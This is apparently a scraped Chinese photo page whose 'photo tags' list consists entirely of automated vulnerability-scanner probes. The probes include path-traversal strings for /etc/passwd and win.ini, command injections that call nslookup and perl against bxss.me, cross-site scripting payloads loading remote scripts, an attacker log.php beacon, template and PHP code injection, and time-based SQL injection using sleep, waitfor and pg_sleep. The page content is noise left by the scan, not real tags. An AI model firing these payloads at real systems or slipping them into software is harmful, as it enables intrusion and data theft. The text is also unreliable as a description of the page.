×
照片标签：
- 1
- 1RPM49ZQO
- pC3h4wTJ
- %0abcc:074625.17824-5440.17824.cb9ac.19234.2@bxss.me
- <esi:include src="http://bxss.me/rpb.png"/>
- response.write(9836912*9345003)
- '+response.write(9836912*9345003)+'
- "+response.write(9836912*9345003)+"
- ${10000053+10000479}
- to@example.com>%0d%0abcc:074625.17824-5441.17824.cb9ac.19234.2@bxss.me
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- ../../../../../../../../../../../../../../../proc/version
- '.gethostbyname(lc('hitug'.'tgecitcc97a7c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(69).chr(114).chr(67).'
- ".gethostbyname(lc("hithq"."bpjbjedv9f8a6.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(76).chr(100).chr(76)."
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
- &n947223=v932787
- ../../../../../../../../../../etc/passwd%00.jpg
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
- /../..//../..//../..//../..//../..//etc/passwd%00.jpg
- )
- !(()&&!|*|*|
- .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
- echo spwkjd$()\ nkwdtj\nz^xyu||a #' &echo spwkjd$()\ nkwdtj\nz^xyu||a #|" &echo spwkjd$()\ nkwdtj\nz^xyu||a #
- &echo ryivby$()\ yqiwgf\nz^xyu||a #' &echo ryivby$()\ yqiwgf\nz^xyu||a #|" &echo ryivby$()\ yqiwgf\nz^xyu||a #
- ^(#$!@#$)(()))******
- %2fetc%2fpasswd
- |echo eqeksj$()\ dppgex\nz^xyu||a #' |echo eqeksj$()\ dppgex\nz^xyu||a #|" |echo eqeksj$()\ dppgex\nz^xyu||a #
- /.././.././.././.././.././.././.././../etc/./passwd%00
- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- (nslookup hitpornqmdkhf2ec26.bxss.me||perl -e "gethostbyname('hitpornqmdkhf2ec26.bxss.me')")
- $(nslookup hityiseirwbjr0a015.bxss.me||perl -e "gethostbyname('hityiseirwbjr0a015.bxss.me')")
- HttP://bxss.me/t/xss.html?%00
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- ../././../././../././../././../././../././../././../././../././../././etc/passwd
- &(nslookup hitajbzboqevle6d19.bxss.me||perl -e "gethostbyname('hitajbzboqevle6d19.bxss.me')")&'\"`0&(nslookup hitajbzboqevle6d19.bxss.me||perl -e "gethostbyname('hitajbzboqevle6d19.bxss.me')")&`'
- bxss.me/t/xss.html?%00
- ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
- 1some_inexistent_file_with_long_name%00.jpg
- "+"A".concat(70-3).concat(22*4).concat(102).concat(82).concat(104).concat(89)+(require"socket" Socket.gethostbyname("hiteg"+"sqkpyszh2fddd.bxss.me.")[3].to_s)+"
- Http://bxss.me/t/fit.txt
- http://bxss.me/t/fit.txt%3F.jpg
- '+'A'.concat(70-3).concat(22*4).concat(114).concat(69).concat(111).concat(83)+(require'socket' Socket.gethostbyname('hitgt'+'ystqjihz8678f.bxss.me.')[3].to_s)+'
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- bxss.me
- file:///etc/passwd
- /xfs.bxss.me
- |(nslookup hiturkorgryvq7e3ab.bxss.me||perl -e "gethostbyname('hiturkorgryvq7e3ab.bxss.me')")
- /\../\../\../\../\../\../\../etc/passwd
- /WEB-INF/web.xml
- C:\WINDOWS\system32\drivers\etc\hosts
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- `(nslookup hitpvcakekoyv90412.bxss.me||perl -e "gethostbyname('hitpvcakekoyv90412.bxss.me')")`
- ../../../../../../../../../../windows/win.ini%00.jpg
- ';print(md5(31337));$a='
- /../../../../../../../../../../boot.ini
- ";print(md5(31337));$a="
- ${@print(md5(31337))}
- '"
- %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- <!--
- ..\..\..\..\..\..\..\..\windows\win.ini
- ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
- /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
- ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
- 1'"()&%<acx><ScRiPt >Iy1B(9092)</ScRiPt>
- WEB-INF/web.xml
- '"()&%<acx><ScRiPt >Iy1B(9509)</ScRiPt>
- WEB-INF\web.xml
- 19860399
- acu5279%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca5279
- acux5789%C0%BEz1%C0%BCz2a%90bcxuca5789
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu1305%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1305
- acux2435%C0%BEz1%C0%BCz2a%90bcxuca2435
- acu7953%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7953
- acux5671%C0%BEz1%C0%BCz2a%90bcxuca5671
- 1%22onmouseover=Iy1B(95252)%22
- 1"onmouseover=Iy1B(99812)"
- 1" Ndkn=Iy1B([!+!]) 3sv="
- 1\u0022onmouseover=Iy1B(98223)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%49%79%31%42%28%39%39%32%30%34%29%22
- 1<ScRiPt >Iy1B(9868)</ScRiPt>
- 1<WNML1Q>Q8EUR[!+!]</WNML1Q>
- 1<script>Iy1B(9944)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%49%79%31%42%28%39%32%33%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >Iy1B(9374)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9223></ScRiPt>
- 1< ScRiPt >Iy1B(9634)</ScRiPt>
- 1<isindex type=image src=1 onerror=Iy1B(9850)>
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9178'>
- 1<body onload=Iy1B(9677)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=Iy1B(9147)>
- 1<img src=xyz OnErRor=Iy1B(9461)>
- 1<img/src=">" onerror=alert(9249)>
- %31%3C%53%63%52%69%50%74%20%3E%49%79%31%42%289153%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\Iy1B(9411)\u003C/sCripT\u003E
- 1<ScRiPt>Iy1B(9674)</sCripT>
- 1<input autofocus onfocus=Iy1B(9170)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(Iy1B(9304))}
- 1uHNCk <ScRiPt >Iy1B(9773)</ScRiPt>
- 1<WVNTSY>P9KHM[!+!]</WVNTSY>
- 1<ifRAme sRc=9198.com></IfRamE>
- 1<aTV0bim x=9924>
- 1<img sRc='http://attacker-9015/log.php?
- 1<acoESSZ<
- GZKZBEOb
- -1 OR 2+200-200-1=0+0+0+1 --
- -1 OR 2+322-322-1=0+0+0+1
- -1' OR 2+437-437-1=0+0+0+1 --
- -1' OR 2+881-881-1=0+0+0+1 or 'E2Xs6y9y'='
- -1" OR 2+612-612-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1; waitfor delay '0:0:15' --
- -1); waitfor delay '0:0:15' --
- 1 waitfor delay '0:0:15' --
- 44JibRV1'; waitfor delay '0:0:15' --
- -5 OR 908=(SELECT 908 FROM PG_SLEEP(15))--
- -5) OR 136=(SELECT 136 FROM PG_SLEEP(15))--
- -1)) OR 160=(SELECT 160 FROM PG_SLEEP(15))--
- VdxWe93z' OR 241=(SELECT 241 FROM PG_SLEEP(15))--
- XotVD3R5') OR 420=(SELECT 420 FROM PG_SLEEP(15))--
- KChjfBxW')) OR 813=(SELECT 813 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- @@zg2TY
微信扫一扫, 保存到手机
